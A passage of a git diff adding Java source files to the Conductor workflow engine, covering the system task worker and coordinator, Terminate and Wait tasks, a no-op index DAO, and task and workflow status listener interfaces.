    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import java.util.List; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.TimeUnit; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.annotations.VisibleForTesting; +import com.netflix.conductor.core.LifecycleAwareComponent; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.execution.AsyncSystemTaskExecutor; +import com.netflix.conductor.core.utils.QueueUtils; +import com.netflix.conductor.core.utils.SemaphoreUtil; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.service.ExecutionService; + +/** The worker that polls and executes an async system task. */ +@Component +@ConditionalOnProperty( + name = "conductor.system-task-workers.enabled", + havingValue = "true", + matchIfMissing = true) +public class SystemTaskWorker extends LifecycleAwareComponent { + + private static final Logger LOGGER = LoggerFactory.getLogger(SystemTaskWorker.class); + + private final long pollInterval; + private final QueueDAO queueDAO; + + ExecutionConfig defaultExecutionConfig; + private final AsyncSystemTaskExecutor asyncSystemTaskExecutor; + private final ConductorProperties properties; + private final ExecutionService executionService; + private final int queuePopTimeout; + + ConcurrentHashMap queueExecutionConfigMap = new ConcurrentHashMap<>(); + + public SystemTaskWorker( + QueueDAO queueDAO, + AsyncSystemTaskExecutor asyncSystemTaskExecutor, + ConductorProperties properties, + ExecutionService executionService) { + this.properties = properties; + int threadCount = properties.getSystemTaskWorkerThreadCount(); + this.defaultExecutionConfig = new ExecutionConfig(threadCount, "system-task-worker-%d"); + this.asyncSystemTaskExecutor = asyncSystemTaskExecutor; + this.queueDAO = queueDAO; + this.pollInterval = properties.getSystemTaskWorkerPollInterval().toMillis(); + this.executionService = executionService; + this.queuePopTimeout = (int) properties.getSystemTaskQueuePopTimeout().toMillis(); + + LOGGER.info("SystemTaskWorker initialized with {} threads", threadCount); + } + + public void startPolling(WorkflowSystemTask systemTask) { + startPolling(systemTask, systemTask.getTaskType()); + } + + public void startPolling(WorkflowSystemTask systemTask, String queueName) { + Executors.newSingleThreadScheduledExecutor() + .scheduleWithFixedDelay( + () -> this.pollAndExecute(systemTask, queueName), + 1000, + pollInterval, + TimeUnit.MILLISECONDS); + LOGGER.info( + "Started listening for task: {} in queue: {} at pollInterval of {} ms", + systemTask, + queueName, + pollInterval); + } + + void pollAndExecute(WorkflowSystemTask systemTask, String queueName) { + if (!isRunning()) { + LOGGER.debug( + "{} stopped. Not polling for task: {}", getClass().getSimpleName(), systemTask); + return; + } + + ExecutionConfig executionConfig = getExecutionConfig(queueName); + SemaphoreUtil semaphoreUtil = executionConfig.getSemaphoreUtil(); + ExecutorService executorService = executionConfig.getExecutorService(); + String taskName = QueueUtils.getTaskType(queueName); + final int systemTaskMaxPollCount = properties.getSystemTaskMaxPollCount(); + int maxSystemTasksToAcquire = + (systemTaskMaxPollCount < 1 + || systemTaskMaxPollCount + > properties.getSystemTaskWorkerThreadCount()) + ? properties.getSystemTaskWorkerThreadCount() + : systemTaskMaxPollCount; + int messagesToAcquire = Math.min(semaphoreUtil.availableSlots(), maxSystemTasksToAcquire); + + try { + if (messagesToAcquire <= 0 || !semaphoreUtil.acquireSlots(messagesToAcquire)) { + // no available slots, do not poll + Monitors.recordSystemTaskWorkerPollingLimited(queueName); + return; + } + + LOGGER.debug("Polling queue: {} with {} slots acquired", queueName, messagesToAcquire); + + List polledTaskIds = + queueDAO.pop(queueName, messagesToAcquire, queuePopTimeout); + + Monitors.recordTaskPoll(queueName); + LOGGER.debug("Polling queue:{}, got {} tasks", queueName, polledTaskIds.size()); + + if (!polledTaskIds.isEmpty()) { + // Immediately release unused slots when number of messages acquired is less than + // acquired slots + if (polledTaskIds.size() < messagesToAcquire) { + semaphoreUtil.completeProcessing(messagesToAcquire - polledTaskIds.size()); + } + + for (String taskId : polledTaskIds) { + if (StringUtils.isNotBlank(taskId)) { + LOGGER.debug( + "Task: {} from queue: {} being sent to the workflow executor", + taskId, + queueName); + Monitors.recordTaskPollCount(queueName, 1); + + executionService.ackTaskReceived(taskId); + + CompletableFuture taskCompletableFuture = + CompletableFuture.runAsync( + () -> asyncSystemTaskExecutor.execute(systemTask, taskId), + executorService); + + // release permit after processing is complete + taskCompletableFuture.whenComplete( + (r, e) -> semaphoreUtil.completeProcessing(1)); + } else { + semaphoreUtil.completeProcessing(1); + } + } + } else { + // no task polled, release permit + semaphoreUtil.completeProcessing(messagesToAcquire); + } + } catch (Exception e) { + // release the permit if exception is thrown during polling, because the thread would + // not be busy + semaphoreUtil.completeProcessing(messagesToAcquire); + Monitors.recordTaskPollError(taskName, e.getClass().getSimpleName()); + LOGGER.error("Error polling system task in queue:{}", queueName, e); + } + } + + @VisibleForTesting + ExecutionConfig getExecutionConfig(String taskQueue) { + if (!QueueUtils.isIsolatedQueue(taskQueue)) { + return this.defaultExecutionConfig; + } + return queueExecutionConfigMap.computeIfAbsent( + taskQueue, __ -> this.createExecutionConfig()); + } + + private ExecutionConfig createExecutionConfig() { + int threadCount = properties.getIsolatedSystemTaskWorkerThreadCount(); + String threadNameFormat = "isolated-system-task-worker-%d"; + return new ExecutionConfig(threadCount, threadNameFormat); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/tasks/SystemTaskWorkerCoordinator.java b/core/src/main/java/com/netflix/conductor/core/execution/tasks/SystemTaskWorkerCoordinator.java new file mode 100644 index 0000000..c192a96 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/tasks/SystemTaskWorkerCoordinator.java @@ -0,0 +1,70 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import java.util.Set; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.event.ApplicationReadyEvent; +import org.springframework.context.event.EventListener; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.annotations.VisibleForTesting; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.utils.QueueUtils; + +import static com.netflix.conductor.core.execution.tasks.SystemTaskRegistry.ASYNC_SYSTEM_TASKS_QUALIFIER; + +@Component +@ConditionalOnProperty( + name = "conductor.system-task-workers.enabled", + havingValue = "true", + matchIfMissing = true) +public class SystemTaskWorkerCoordinator { + + private static final Logger LOGGER = LoggerFactory.getLogger(SystemTaskWorkerCoordinator.class); + + private final SystemTaskWorker systemTaskWorker; + private final String executionNameSpace; + private final Set asyncSystemTasks; + + public SystemTaskWorkerCoordinator( + SystemTaskWorker systemTaskWorker, + ConductorProperties properties, + @Qualifier(ASYNC_SYSTEM_TASKS_QUALIFIER) Set asyncSystemTasks) { + this.systemTaskWorker = systemTaskWorker; + this.asyncSystemTasks = asyncSystemTasks; + this.executionNameSpace = properties.getSystemTaskWorkerExecutionNamespace(); + } + + @EventListener(ApplicationReadyEvent.class) + public void initSystemTaskExecutor() { + this.asyncSystemTasks.stream() + .filter(this::isFromCoordinatorExecutionNameSpace) + .forEach(this.systemTaskWorker::startPolling); + LOGGER.info( + "{} initialized with {} async tasks", + SystemTaskWorkerCoordinator.class.getSimpleName(), + this.asyncSystemTasks.size()); + } + + @VisibleForTesting + boolean isFromCoordinatorExecutionNameSpace(WorkflowSystemTask systemTask) { + String queueExecutionNameSpace = QueueUtils.getExecutionNameSpace(systemTask.getTaskType()); + return StringUtils.equals(queueExecutionNameSpace, executionNameSpace); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/tasks/Terminate.java b/core/src/main/java/com/netflix/conductor/core/execution/tasks/Terminate.java new file mode 100644 index 0000000..23eed41 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/tasks/Terminate.java @@ -0,0 +1,114 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import java.util.HashMap; +import java.util.Map; + +import org.springframework.stereotype.Component; + +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_TERMINATE; +import static com.netflix.conductor.common.run.Workflow.WorkflowStatus.*; + +/** + * Task that can terminate a workflow with a given status and modify the workflow's output with a + * given parameter, it can act as a "return" statement for conditions where you simply want to + * terminate your workflow. For example, if you have a decision where the first condition is met, + * you want to execute some tasks, otherwise you want to finish your workflow. + * + * 

    + * ...
+ * {
+ *  "tasks": [
+ *      {
+ *          "name": "terminate",
+ *          "taskReferenceName": "terminate0",
+ *          "inputParameters": {
+ *              "terminationStatus": "COMPLETED",
+ *              "workflowOutput": "${task0.output}"
+ *          },
+ *          "type": "TERMINATE",
+ *          "startDelay": 0,
+ *          "optional": false
+ *      }
+ *   ]
+ * }
+ * ...
+ *
    + * + * This task has some validations on creation and execution, they are: - the "terminationStatus" + * parameter is mandatory and it can only receive the values "COMPLETED" or "FAILED" - the terminate + * task cannot be optional + */ +@Component(TASK_TYPE_TERMINATE) +public class Terminate extends WorkflowSystemTask { + + private static final String TERMINATION_STATUS_PARAMETER = "terminationStatus"; + private static final String TERMINATION_REASON_PARAMETER = "terminationReason"; + private static final String TERMINATION_WORKFLOW_OUTPUT = "workflowOutput"; + + public Terminate() { + super(TASK_TYPE_TERMINATE); + } + + @Override + public boolean execute( + WorkflowModel workflow, TaskModel task, WorkflowExecutor workflowExecutor) { + String returnStatus = (String) task.getInputData().get(TERMINATION_STATUS_PARAMETER); + + if (validateInputStatus(returnStatus)) { + task.setOutputData(getInputFromParam(task.getInputData())); + task.setStatus(TaskModel.Status.COMPLETED); + return true; + } + task.setReasonForIncompletion("given termination status is not valid"); + task.setStatus(TaskModel.Status.FAILED); + return false; + } + + public static String getTerminationStatusParameter() { + return TERMINATION_STATUS_PARAMETER; + } + + public static String getTerminationReasonParameter() { + return TERMINATION_REASON_PARAMETER; + } + + public static String getTerminationWorkflowOutputParameter() { + return TERMINATION_WORKFLOW_OUTPUT; + } + + public static Boolean validateInputStatus(String status) { + return COMPLETED.name().equals(status) + || FAILED.name().equals(status) + || TERMINATED.name().equals(status); + } + + @SuppressWarnings("unchecked") + private Map getInputFromParam(Map taskInput) { + HashMap output = new HashMap<>(); + if (taskInput.get(TERMINATION_WORKFLOW_OUTPUT) == null) { + return output; + } + if (taskInput.get(TERMINATION_WORKFLOW_OUTPUT) instanceof HashMap) { + output.putAll((HashMap) taskInput.get(TERMINATION_WORKFLOW_OUTPUT)); + return output; + } + output.put("output", taskInput.get(TERMINATION_WORKFLOW_OUTPUT)); + return output; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/tasks/Wait.java b/core/src/main/java/com/netflix/conductor/core/execution/tasks/Wait.java new file mode 100644 index 0000000..d7f15e1 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/tasks/Wait.java @@ -0,0 +1,79 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import java.time.Duration; +import java.util.Optional; + +import org.springframework.stereotype.Component; + +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_WAIT; +import static com.netflix.conductor.model.TaskModel.Status.*; + +@Component(TASK_TYPE_WAIT) +public class Wait extends WorkflowSystemTask { + + public static final String DURATION_INPUT = "duration"; + public static final String UNTIL_INPUT = "until"; + + public Wait() { + super(TASK_TYPE_WAIT); + } + + @Override + public void start(WorkflowModel workflow, TaskModel task, WorkflowExecutor executor) { + task.setStatus(TaskModel.Status.IN_PROGRESS); + } + + @Override + public void cancel(WorkflowModel workflow, TaskModel task, WorkflowExecutor workflowExecutor) { + task.setStatus(TaskModel.Status.CANCELED); + } + + @Override + public boolean execute( + WorkflowModel workflow, TaskModel task, WorkflowExecutor workflowExecutor) { + long timeOut = task.getWaitTimeout(); + if (timeOut == 0) { + return false; + } + if (System.currentTimeMillis() > timeOut) { + task.setStatus(COMPLETED); + return true; + } + + return false; + } + + @Override + public Optional getEvaluationOffset(TaskModel taskModel, long maxOffset) { + if (taskModel.getWaitTimeout() > 0) { + long seconds = + Duration.ofMillis(taskModel.getWaitTimeout() - System.currentTimeMillis()) + .getSeconds(); + if (seconds == 0) { + seconds = 1; + } + return Optional.of(seconds); + } + return Optional.empty(); + } + + public boolean isAsync() { + return true; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/tasks/WorkflowSystemTask.java b/core/src/main/java/com/netflix/conductor/core/execution/tasks/WorkflowSystemTask.java new file mode 100644 index 0000000..565b382 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/tasks/WorkflowSystemTask.java @@ -0,0 +1,129 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import java.util.Optional; + +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +public abstract class WorkflowSystemTask { + + private final String taskType; + + public WorkflowSystemTask(String taskType) { + this.taskType = taskType; + } + + /** + * Start the task execution. + * + *

    Called only once, and first, when the task status is SCHEDULED. + * + * @param workflow Workflow for which the task is being started + * @param task Instance of the Task + * @param workflowExecutor Workflow Executor + */ + public void start(WorkflowModel workflow, TaskModel task, WorkflowExecutor workflowExecutor) { + // Do nothing unless overridden by the task implementation + } + + /** + * "Execute" the task. + * + *

    Called after {@link #start(WorkflowModel, TaskModel, WorkflowExecutor)}, if the task + * status is not terminal. Can be called more than once. + * + * @param workflow Workflow for which the task is being started + * @param task Instance of the Task + * @param workflowExecutor Workflow Executor + * @return true, if the execution has changed the task status. return false otherwise. + */ + public boolean execute( + WorkflowModel workflow, TaskModel task, WorkflowExecutor workflowExecutor) { + return false; + } + + /** + * Cancel task execution + * + * @param workflow Workflow for which the task is being started + * @param task Instance of the Task + * @param workflowExecutor Workflow Executor + */ + public void cancel(WorkflowModel workflow, TaskModel task, WorkflowExecutor workflowExecutor) {} + + /** + * Determines the time in seconds by which the next execution of a task will be postponed after + * an execution. By default, this method returns {@code Optional.empty()}. + * + *

    WorkflowSystemTasks may override this method to define a custom evaluation offset based on + * the task's behavior or requirements. + * + * @param taskModel task model + * @param maxOffset the max recommended offset value to use + * @return an {@code Optional} specifying the evaluation offset in seconds, or {@code + * Optional.empty()} if no postponement is required + */ + public Optional getEvaluationOffset(TaskModel taskModel, long maxOffset) { + return Optional.empty(); + } + + /** + * @return True if the task is supposed to be started asynchronously using internal queues. + */ + public boolean isAsync() { + return false; + } + + /** + * @return True to keep task in 'IN_PROGRESS' state, and 'COMPLETE' later by an external + * message. + */ + public boolean isAsyncComplete(TaskModel task) { + if (task.getInputData().containsKey("asyncComplete")) { + return Optional.ofNullable(task.getInputData().get("asyncComplete")) + .map(result -> (Boolean) result) + .orElse(false); + } else { + return Optional.ofNullable(task.getWorkflowTask()) + .map(WorkflowTask::isAsyncComplete) + .orElse(false); + } + } + + /** + * @return name of the system task + */ + public String getTaskType() { + return taskType; + } + + /** + * Default to true for retrieving tasks when retrieving workflow data. Some cases (e.g. + * subworkflows) might not need the tasks at all, and by setting this to false in that case, you + * can get a solid performance gain. + * + * @return true for retrieving tasks when getting workflow + */ + public boolean isTaskRetrievalRequired() { + return true; + } + + @Override + public String toString() { + return taskType; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/index/NoopIndexDAO.java b/core/src/main/java/com/netflix/conductor/core/index/NoopIndexDAO.java new file mode 100644 index 0000000..2472c4b --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/index/NoopIndexDAO.java @@ -0,0 +1,163 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.index; + +import java.util.Collections; +import java.util.List; +import java.util.concurrent.CompletableFuture; + +import com.netflix.conductor.common.metadata.events.EventExecution; +import com.netflix.conductor.common.metadata.tasks.TaskExecLog; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.dao.IndexDAO; + +/** + * Dummy implementation of {@link IndexDAO} which does nothing. Nothing is ever indexed, and no + * results are ever returned. + */ +public class NoopIndexDAO implements IndexDAO { + + @Override + public void setup() {} + + @Override + public void indexWorkflow(WorkflowSummary workflowSummary) {} + + @Override + public CompletableFuture asyncIndexWorkflow(WorkflowSummary workflowSummary) { + return CompletableFuture.completedFuture(null); + } + + @Override + public void indexTask(TaskSummary taskSummary) {} + + @Override + public CompletableFuture asyncIndexTask(TaskSummary taskSummary) { + return CompletableFuture.completedFuture(null); + } + + @Override + public SearchResult searchWorkflows( + String query, String freeText, int start, int count, List sort) { + return new SearchResult<>(0, Collections.emptyList()); + } + + @Override + public SearchResult searchWorkflowSummary( + String query, String freeText, int start, int count, List sort) { + return new SearchResult<>(0, Collections.emptyList()); + } + + @Override + public SearchResult searchTasks( + String query, String freeText, int start, int count, List sort) { + return new SearchResult<>(0, Collections.emptyList()); + } + + @Override + public SearchResult searchTaskSummary( + String query, String freeText, int start, int count, List sort) { + return new SearchResult<>(0, Collections.emptyList()); + } + + @Override + public void removeWorkflow(String workflowId) {} + + @Override + public CompletableFuture asyncRemoveWorkflow(String workflowId) { + return CompletableFuture.completedFuture(null); + } + + @Override + public void updateWorkflow(String workflowInstanceId, String[] keys, Object[] values) {} + + @Override + public CompletableFuture asyncUpdateWorkflow( + String workflowInstanceId, String[] keys, Object[] values) { + return CompletableFuture.completedFuture(null); + } + + @Override + public void removeTask(String workflowId, String taskId) {} + + @Override + public CompletableFuture asyncRemoveTask(String workflowId, String taskId) { + return CompletableFuture.completedFuture(null); + } + + @Override + public void updateTask(String workflowId, String taskId, String[] keys, Object[] values) {} + + @Override + public CompletableFuture asyncUpdateTask( + String workflowId, String taskId, String[] keys, Object[] values) { + return CompletableFuture.completedFuture(null); + } + + @Override + public String get(String workflowInstanceId, String key) { + return null; + } + + @Override + public void addTaskExecutionLogs(List logs) {} + + @Override + public CompletableFuture asyncAddTaskExecutionLogs(List logs) { + return CompletableFuture.completedFuture(null); + } + + @Override + public List getTaskExecutionLogs(String taskId) { + return Collections.emptyList(); + } + + @Override + public void addEventExecution(EventExecution eventExecution) {} + + @Override + public List getEventExecutions(String event) { + return Collections.emptyList(); + } + + @Override + public CompletableFuture asyncAddEventExecution(EventExecution eventExecution) { + return null; + } + + @Override + public void addMessage(String queue, Message msg) {} + + @Override + public CompletableFuture asyncAddMessage(String queue, Message message) { + return CompletableFuture.completedFuture(null); + } + + @Override + public List getMessages(String queue) { + return Collections.emptyList(); + } + + @Override + public List searchArchivableWorkflows(String indexName, long archiveTtlDays) { + return Collections.emptyList(); + } + + @Override + public long getWorkflowCount(String query, String freeText) { + return 0; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/index/NoopIndexDAOConfiguration.java b/core/src/main/java/com/netflix/conductor/core/index/NoopIndexDAOConfiguration.java new file mode 100644 index 0000000..5de6a6e --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/index/NoopIndexDAOConfiguration.java @@ -0,0 +1,29 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.index; + +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import com.netflix.conductor.dao.IndexDAO; + +@Configuration(proxyBeanMethods = false) +@ConditionalOnProperty(name = "conductor.indexing.enabled", havingValue = "false") +public class NoopIndexDAOConfiguration { + + @Bean + public IndexDAO noopIndexDAO() { + return new NoopIndexDAO(); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/listener/TaskStatusListener.java b/core/src/main/java/com/netflix/conductor/core/listener/TaskStatusListener.java new file mode 100644 index 0000000..6e98913 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/listener/TaskStatusListener.java @@ -0,0 +1,99 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.listener; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.model.TaskModel; + +/** + * Listener for the Task status change. All methods have default implementation so that + * Implementation can choose to override a subset of interested Task statuses. + */ +public interface TaskStatusListener { + + default void onTaskScheduledIfEnabled(TaskModel task) { + if (isTaskStatusListenerEnabled(task)) { + onTaskScheduled(task); + } + } + + default void onTaskInProgressIfEnabled(TaskModel task) { + if (isTaskStatusListenerEnabled(task)) { + onTaskInProgress(task); + } + } + + default void onTaskCanceledIfEnabled(TaskModel task) { + if (isTaskStatusListenerEnabled(task)) { + onTaskCanceled(task); + } + } + + default void onTaskFailedIfEnabled(TaskModel task) { + if (isTaskStatusListenerEnabled(task)) { + onTaskFailed(task); + } + } + + default void onTaskFailedWithTerminalErrorIfEnabled(TaskModel task) { + if (isTaskStatusListenerEnabled(task)) { + onTaskFailedWithTerminalError(task); + } + } + + default void onTaskCompletedIfEnabled(TaskModel task) { + if (isTaskStatusListenerEnabled(task)) { + onTaskCompleted(task); + } + } + + default void onTaskCompletedWithErrorsIfEnabled(TaskModel task) { + if (isTaskStatusListenerEnabled(task)) { + onTaskCompletedWithErrors(task); + } + } + + default void onTaskTimedOutIfEnabled(TaskModel task) { + if (isTaskStatusListenerEnabled(task)) { + onTaskTimedOut(task); + } + } + + default void onTaskSkippedIfEnabled(TaskModel task) { + if (isTaskStatusListenerEnabled(task)) { + onTaskSkipped(task); + } + } + + default void onTaskScheduled(TaskModel task) {} + + default void onTaskInProgress(TaskModel task) {} + + default void onTaskCanceled(TaskModel task) {} + + default void onTaskFailed(TaskModel task) {} + + default void onTaskFailedWithTerminalError(TaskModel task) {} + + default void onTaskCompleted(TaskModel task) {} + + default void onTaskCompletedWithErrors(TaskModel task) {} + + default void onTaskTimedOut(TaskModel task) {} + + default void onTaskSkipped(TaskModel task) {} + + private boolean isTaskStatusListenerEnabled(TaskModel task) { + return task.getTaskDefinition().map(TaskDef::isTaskStatusListenerEnabled).orElse(true); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/listener/TaskStatusListenerStub.java b/core/src/main/java/com/netflix/conductor/core/listener/TaskStatusListenerStub.java new file mode 100644 index 0000000..a53d052 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/listener/TaskStatusListenerStub.java @@ -0,0 +1,69 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.listener; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.model.TaskModel; + +/** Stub listener default implementation */ +public class TaskStatusListenerStub implements TaskStatusListener { + + private static final Logger LOGGER = LoggerFactory.getLogger(TaskStatusListenerStub.class); + + @Override + public void onTaskScheduled(TaskModel task) { + LOGGER.debug("Task {} is scheduled", task.getTaskId()); + } + + @Override + public void onTaskCanceled(TaskModel task) { + LOGGER.debug("Task {} is canceled", task.getTaskId()); + } + + @Override + public void onTaskCompleted(TaskModel task) { + LOGGER.debug("Task {} is completed", task.getTaskId()); + } + + @Override + public void onTaskCompletedWithErrors(TaskModel task) { + LOGGER.debug("Task {} is completed with errors", task.getTaskId()); + } + + @Override + public void onTaskFailed(TaskModel task) { + LOGGER.debug("Task {} is failed", task.getTaskId()); + } + + @Override + public void onTaskFailedWithTerminalError(TaskModel task) { + LOGGER.debug("Task {} is failed with terminal error", task.getTaskId()); + } + + @Override + public void onTaskInProgress(TaskModel task) { + LOGGER.debug("Task {} is in-progress", task.getTaskId()); + } + + @Override + public void onTaskSkipped(TaskModel task) { + LOGGER.debug("Task {} is skipped", task.getTaskId()); + } + + @Override + public void onTaskTimedOut(TaskModel task) { + LOGGER.debug("Task {} is timed out", task.getTaskId()); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/listener/WorkflowStatusListener.java b/core/src/main/java/com/netflix/conductor/core/listener/WorkflowStatusListener.java new file mode 100644 index 0000000..e711ff9 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/listener/WorkflowStatusListener.java @@ -0,0 +1,111 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.listener; + +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.annotation.JsonValue; + +/** Listener for the completed and terminated workflows */ +public interface WorkflowStatusListener { + + enum WorkflowEventType { + STARTED, + RERAN, + RETRIED, + PAUSED, + RESUMED, + RESTARTED, + COMPLETED, + TERMINATED, + FINALIZED; + + @JsonValue // Ensures correct JSON serialization + @Override + public String toString() { + return name().toLowerCase(); // Convert to lowercase for consistency + } + } + + default void onWorkflowCompletedIfEnabled(WorkflowModel workflow) { + if (workflow.getWorkflowDefinition().isWorkflowStatusListenerEnabled()) { + onWorkflowCompleted(workflow); + } + } + + default void onWorkflowTerminatedIfEnabled(WorkflowModel workflow) { + if (workflow.getWorkflowDefinition().isWorkflowStatusListenerEnabled()) { + onWorkflowTerminated(workflow); + } + } + + default void onWorkflowFinalizedIfEnabled(WorkflowModel workflow) { + if (workflow.getWorkflowDefinition().isWorkflowStatusListenerEnabled()) { + onWorkflowFinalized(workflow); + } + } + + default void onWorkflowStartedIfEnabled(WorkflowModel workflow) { + if (workflow.getWorkflowDefinition().isWorkflowStatusListenerEnabled()) { + onWorkflowStarted(workflow); + } + } + + default void onWorkflowRestartedIfEnabled(WorkflowModel workflow) { + if (workflow.getWorkflowDefinition().isWorkflowStatusListenerEnabled()) { + onWorkflowRestarted(workflow); + } + } + + default void 